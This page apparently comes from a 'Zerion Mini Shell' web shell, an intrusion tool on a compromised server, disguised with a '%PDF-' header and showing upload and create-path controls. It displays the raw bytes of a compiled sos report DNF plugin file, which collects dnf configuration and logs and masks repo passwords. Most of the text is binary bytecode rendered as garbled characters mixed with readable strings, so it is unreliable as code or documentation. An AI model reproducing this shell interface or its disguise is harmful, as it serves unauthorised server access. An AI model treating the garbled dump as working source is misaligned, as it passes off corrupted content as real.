%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/sos/report/plugins/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/sos/report/plugins/__pycache__/dnf.cpython-312.pyc

�

i��d���0�ddlmZmZmZGd�dee�Zy)�)�Plugin�RedHatPlugin�	PluginOptc�N�eZdZdZdZdZdZdZdZe	ddd	�
�gZ
d�Zd�Zd
�Z
y)�	DNFPlugina�
    The DNF plugin collects information for the dnf package manager and how it
    is configured for local system.

    By default, this plugin will collect configuration files from /etc/dnf,
    repo files defined in /etc/yum.repos.d/, module information, and various
    'dnf list' commands.

    When using the 'history-info' option, detailed transaction information will
    be collected for the most recent 50 dnf transactions, and will be saved to
    the sos_commands/dnf/history-info directory.
    zdnf package manager�dnf)�system�packagemanager�sysmgmt)�/etc/dnf/dnf.conf)r�history-infoFz$collect detailed transaction history)�default�descc��|sy|j�D]6}d|vs�|j�d}|dk7s�!|jd|zd���8y)Nz[i]rzHint:zdnf module info �dnf_module_info��tags)�
splitlines�split�add_cmd_output)�self�modules�line�modules    �8/usr/lib/python3/dist-packages/sos/report/plugins/dnf.py�get_modules_infozDNFPlugin.get_modules_info(sa�����&�&�(�	@�D���}�����a����W�$��'�'�(:�V�(C�->�(�@�		@�c��|jddi�|jgd��|jdgd���|jd�r|jd�n3|jd	�|jd
�|jd�|jdd
��|jgd��|jdddg��|jdddg��|jd�|j	ddg�|jgd��|jd�s|jdd��n�|jdd��}d}|drE|dj
�D]/}	t|jd�dj��}ntd t|d zd!��D]}|jd"|zdd#�$��d%}|j|�}|j|d�y#t$rY��wxYw)&Nz/etc/dnf/modules.d/.*.module�dnf_modules)z	/etc/dnf/z
/etc/yum.confz/etc/yum/pluginconf.d/z/etc/yum/vars/z/etc/yum.repos.d/)�yum_repos_d�dnf_repos_d�dnf_repor�all_logsz/var/log/dnf.*z/var/log/dnf.log*z/var/log/dnf.librepo.log*z/var/log/dnf.rpm.log*zdnf module list�dnf_module_list)z
dnf --versionzdnf list extraszpackage-cleanup --dupeszpackage-cleanup --problemszdnf list installed�yum_list_installed�dnf_list_installedzdnf -C repolist�yum_repolist�dnf_repolistzdnf -C repolist --verbosez/etc/pki/entitlement/key.pemz/etc/pki/entitlement/*-key.pem)z/etc/pki/product/*.pemz/etc/pki/consumer/cert.pemz/etc/pki/entitlement/*.pemr
zdnf history�dnf_history����output�|r��2zdnf history info %d�dnf_history_info)�subdirrzdnf module list --installed)�
add_file_tags�
add_copy_spec�
get_optionr�add_forbidden_path�collect_cmd_outputr�intr�strip�
ValueError�range�minr)r�history�transactionsr�tr_id�
module_cmdrs       r�setupzDNFPlugin.setup4sU�����*�M�
�	�	
���
�	�	
���.� J�	�	L��?�?�:�&����/�0����2�3����:�;����6�7����-�!2�	�	4�	
���
�	�	
���0�"6�8L�!M�	�	O�	
���-�"0�.�!A�	�	C�	
���7�8����*�,�!
�	�
	
���
�	����~�.����
�M��B��-�-�m�3@�.�B�G��L��x� �#�H�-�8�8�:��D��'*�4�:�:�c�?�1�+=�+C�+C�+E�'F�����q�#�l�1�n�b�"9�:�
=���#�#�$9�E�$A�+9�);�$�=�
=�3�
��)�)�*�5�����g�h�/�0��&����s�/+G:�:	H�Hc�f�d}d}dD]}|j|||��|jd||�y)Nz(password(\s)*=(\s)*)(\S+)\nz\1********\n)z/etc/yum.repos.d/*z/etc/dnf/vars/*r)�do_path_regex_sub�do_file_sub)r�regexp�repl�fs    r�postproczDNFPlugin.postproc~sD��1����:�	4�A��"�"�1�f�d�3�	4�	
���,�f�d�;rN)�__name__�
__module__�__qualname__�__doc__�
short_desc�plugin_name�profiles�files�packagesr�option_listrr?rF�rrrrsL���'�J��K�6�H�"�E��H�	�.�%�=�	?��K�

@�H1�T<rrN)�sos.report.pluginsrrrrrQrr�<module>rSs��?�>�G<���G<r

Zerion Mini Shell 1.0